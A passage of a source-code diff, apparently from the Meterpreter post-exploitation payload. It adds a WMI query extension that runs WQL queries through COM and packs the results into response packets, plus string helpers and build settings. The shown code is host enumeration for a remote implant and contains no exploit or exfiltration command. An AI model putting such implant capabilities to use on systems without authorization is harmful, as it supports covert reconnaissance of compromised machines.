if (FAILED(hResult = CoCreateInstance(CLSID_WbemLocator, NULL, CLSCTX_ALL, IID_PPV_ARGS(&pLocator))))
{
dprintf("[WMI] Failed to create WbemLocator: %x", hResult);
break;
}
dprintf("[WMI] WbemLocator created.");
if (FAILED(hResult = pLocator->ConnectServer(_bstr_t(lpwRoot), NULL, NULL, NULL, WBEM_FLAG_CONNECT_USE_MAX_WAIT, NULL, NULL, &pServices)))
{
dprintf("[WMI] Failed to create WbemServices at %S: %x", lpwRoot, hResult);
break;
}
dprintf("[WMI] WbemServices created.");
if (FAILED(hResult = pServices->ExecQuery(L"WQL", lpwQuery, WBEM_FLAG_FORWARD_ONLY, NULL, &pEnumerator)))
{
dprintf("[WMI] Failed to create Enumerator for query %S: %x", lpwQuery, hResult);
break;
}
dprintf("[WMI] Enumerated created.");
ULONG numFound;
if (FAILED(hResult = pEnumerator->Next(ENUM_TIMEOUT, 1, &pObj, &numFound)))
{
dprintf("[WMI] Failed to get the first query element: %x", lpwQuery, hResult);
break;
}
dprintf("[WMI] First result read. hr=%x p=%p", hResult, pObj);
if (hResult == WBEM_S_FALSE)
{
// this is not an error
dprintf("[WMI] No results found!");
break;
}
// get the names of the fields out of the first object before doing anything else.
LPSAFEARRAY pFieldArray = NULL;
if (FAILED(hResult = pObj->GetNames(NULL, WBEM_FLAG_ALWAYS, NULL, &pFieldArray)))
{
dprintf("[WMI] Failed to get field names: %x", hResult);
break;
}
dprintf("[WMI] Field Names extracted. hr=%x p=%p", hResult, pFieldArray);
// lock the array
if (FAILED(hResult = SafeArrayLock(pFieldArray)))
{
dprintf("[WMI] Failed to get array dimension: %x", hResult);
break;
}
dprintf("[WMI] Field name array locked.");
do
{
dprintf("[WMI] Array dimensions: %u", SafeArrayGetDim(pFieldArray));
// this array is just one dimension, let's get the bounds of the first dimension
LONG lBound, uBound;
if (FAILED(hResult = SafeArrayGetLBound(pFieldArray, 1, &lBound))
|| FAILED(hResult = SafeArrayGetUBound(pFieldArray, 1, &uBound)))
{
dprintf("[WMI] Failed to get array dimensions: %x", hResult);
break;
}
dprintf("[WMI] Bounds: %u to %u", lBound, uBound);
LONG fieldCount = uBound - lBound - SYSTEM_FIELD_COUNT - 1;
dprintf("[WMI] Query results in %u fields", fieldCount);
fields = (VARIANT**)malloc(fieldCount * sizeof(VARIANT**));
valueTlvs = (Tlv*)malloc(fieldCount * sizeof(Tlv));
values = (char*)malloc(fieldCount * FIELD_SIZE);
memset(fields, 0, fieldCount * sizeof(VARIANT**));
memset(valueTlvs, 0, fieldCount * sizeof(Tlv));
memset(values, 0, fieldCount * FIELD_SIZE);
for (LONG i = 0; i < fieldCount; ++i)
{
LONG indices[1] = { i + SYSTEM_FIELD_COUNT };
char* fieldName = values + (i * FIELD_SIZE);
SafeArrayPtrOfIndex(pFieldArray, indices, (void**)&fields[i]);
_bstr_t bstr(fields[i]->bstrVal);
strncpy_s(fieldName, FIELD_SIZE, (const char*)bstr, FIELD_SIZE - 1);
valueTlvs[i].header.type = TLV_TYPE_EXT_WMI_FIELD;
valueTlvs[i].header.length = (UINT)strlen(fieldName) + 1;
valueTlvs[i].buffer = (PUCHAR)fieldName;
dprintf("[WMI] Added header field: %s", fieldName);
}
dprintf("[WMI] added all field headers");
// add the field names to the packet
packet_add_tlv_group(response, TLV_TYPE_EXT_WMI_FIELDS, valueTlvs, fieldCount);
dprintf("[WMI] processing values...");
// with that horrible pain out of the way, let's actually grab the data
do
{
if (FAILED(hResult))
{
dprintf("[WMI] Loop exited via %x", hResult);
break;
}
memset(valueTlvs, 0, fieldCount * sizeof(Tlv));
memset(values, 0, fieldCount * FIELD_SIZE);
for (LONG i = 0; i < fieldCount; ++i)
{
char* value = values + (i * FIELD_SIZE);
valueTlvs[i].header.type = TLV_TYPE_EXT_WMI_VALUE;
valueTlvs[i].buffer = (PUCHAR)value;
VARIANT varValue;
VariantInit(&varValue);
_bstr_t field(fields[i]->bstrVal);
dprintf("[WMI] Extracting value for %s", (char*)field);
if (SUCCEEDED(pObj->Get(field, 0, &varValue, NULL, NULL)))
{
variant_to_string(_variant_t(varValue), value, FIELD_SIZE);
}
valueTlvs[i].header.length = (UINT)strlen(value) + 1;
dprintf("[WMI] Added value for %s: %s", (char*)_bstr_t(fields[i]->bstrVal), value);
}
// add the field values to the packet
packet_add_tlv_group(response, TLV_TYPE_EXT_WMI_VALUES, valueTlvs, fieldCount);
pObj->Release();
pObj = NULL;
} while ((hResult = pEnumerator->Next(ENUM_TIMEOUT, 1, &pObj, &numFound)) != WBEM_S_FALSE);
} while (0);
SafeArrayUnlock(pFieldArray);
} while (0);
if (fields)
{
free(fields);
}
if (values)
{
free(values);
}
if (valueTlvs)
{
free(valueTlvs);
}
if (pObj)
{
pObj->Release();
}
if (pEnumerator)
{
pEnumerator->Release();
}
if (pServices)
{
pServices->Release();
}
if (pLocator)
{
pLocator->Release();
}
CoUninitialize();
if (SUCCEEDED(hResult))
{
hResult = S_OK;
dprintf("[WMI] Things appeard to go well!");
}
}
else
{
dprintf("[WMI] Failed to initialize COM");
}
if (FAILED(hResult))
{
// if we failed, we're going to convert the error to a string, add it and still return success, but we'll
// also include the hresult.
char errorMessage[1024];
memset(errorMessage, 0, 1024);
_com_error comError(hResult);
_snprintf_s(errorMessage, 1024, 1023, "%s (0x%x)", comError.ErrorMessage(), hResult);
dprintf("[WMI] returning error -> %s", errorMessage);
packet_add_tlv_string(response, TLV_TYPE_EXT_WMI_ERROR, errorMessage);
hResult = S_OK;
}
return (DWORD)hResult;
}

View File

@ -0,0 +1,11 @@
/*!
* @file wmi_interface.h
* @brief Declarations for functions that deal directly with WMI
* via the COM interfaces.
*/
#ifndef _METERPRETER_SOURCE_EXTENSION_EXTAPI_WMI_INTERFACE_H
#define _METERPRETER_SOURCE_EXTENSION_EXTAPI_WMI_INTERFACE_H
DWORD wmi_query(LPCWSTR lpwDomain, LPWSTR lpwQuery, Packet* response);
#endif

View File

@ -0,0 +1,40 @@
/*!
* @file wshelpers.h
* @brief Declarations for wide-string helper functions.
*/
#include "extapi.h"
#include "wshelpers.h"
/*!
* @brief Helper function that converts an ASCII string to a wide char string.
* @param lpValue ASCII string to convert.
* @param lpwValue Target memory for the converted string.
* @remark \c lpwValue must be freed by the caller using `free`.
* @returns Indication of success or failure.
*/
DWORD to_wide_string(LPSTR lpValue, LPWSTR* lpwValue)
{
size_t charsCopied = 0;
DWORD valueLength;
DWORD dwResult;
do
{
if (lpValue == NULL)
{
BREAK_WITH_ERROR("[EXTAPI ADSI] Value parameter missing", ERROR_INVALID_PARAMETER);
}
valueLength = lstrlenA(lpValue);
*lpwValue = (LPWSTR)malloc(sizeof(WCHAR)* (lstrlenA(lpValue) + 1));
if (*lpwValue == NULL)
{
BREAK_WITH_ERROR("[EXTAPI ADSI] Unable to allocate memory", ERROR_OUTOFMEMORY);
}
mbstowcs_s(&charsCopied, *lpwValue, valueLength + 1, lpValue, valueLength);
dwResult = ERROR_SUCCESS;
} while (0);
return dwResult;
}

View File

@ -0,0 +1,10 @@
/*!
* @file wshelpers.h
* @brief Declarations for wide-string helper functions.
*/
#ifndef _METERPRETER_SOURCE_EXTENSION_EXTAPI_WSHELPERS_H
#define _METERPRETER_SOURCE_EXTENSION_EXTAPI_WSHELPERS_H
DWORD to_wide_string(LPSTR lpValue, LPWSTR* lpwValue);
#endif

View File

@ -114,6 +114,7 @@
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<TreatWarningAsError>true</TreatWarningAsError>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
</ClCompile>
<Link>
@ -143,6 +144,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<TreatWarningAsError>true</TreatWarningAsError>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
</ClCompile>
<Link>
@ -176,6 +178,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\extapi;..\..\source\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<TreatWarningAsError>true</TreatWarningAsError>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
</ClCompile>
<Link>
@ -210,6 +213,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\extapi;..\..\source\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<TreatWarningAsError>true</TreatWarningAsError>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
</ClCompile>
<Link>
@ -249,6 +253,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<BufferSecurityCheck>false</BufferSecurityCheck>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<TreatWarningAsError>true</TreatWarningAsError>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
</ClCompile>
<Link>
@ -299,6 +304,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<BufferSecurityCheck>false</BufferSecurityCheck>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<TreatWarningAsError>true</TreatWarningAsError>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
</ClCompile>
<Link>
@ -351,6 +357,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<BufferSecurityCheck>false</BufferSecurityCheck>
<TreatWarningAsError>true</TreatWarningAsError>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
</ClCompile>
<Link>
@ -401,6 +408,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<BufferSecurityCheck>false</BufferSecurityCheck>
<TreatWarningAsError>true</TreatWarningAsError>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
</ClCompile>
<Link>
@ -438,6 +446,9 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<ClCompile Include="..\..\source\extensions\extapi\extapi.c" />
<ClCompile Include="..\..\source\extensions\extapi\service.c" />
<ClCompile Include="..\..\source\extensions\extapi\window.c" />
<ClCompile Include="..\..\source\extensions\extapi\wmi.c" />
<ClCompile Include="..\..\source\extensions\extapi\wmi_interface.cpp" />
<ClCompile Include="..\..\source\extensions\extapi\wshelpers.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\..\source\extensions\extapi\adsi.h" />
@ -447,6 +458,9 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<ClInclude Include="..\..\source\extensions\extapi\extapi.h" />
<ClInclude Include="..\..\source\extensions\extapi\service.h" />
<ClInclude Include="..\..\source\extensions\extapi\window.h" />
<ClInclude Include="..\..\source\extensions\extapi\wmi.h" />
<ClInclude Include="..\..\source\extensions\extapi\wmi_interface.h" />
<ClInclude Include="..\..\source\extensions\extapi\wshelpers.h" />
</ItemGroup>
<ItemGroup>
<ProjectReference Include="..\backcompat\backcompat.vcxproj">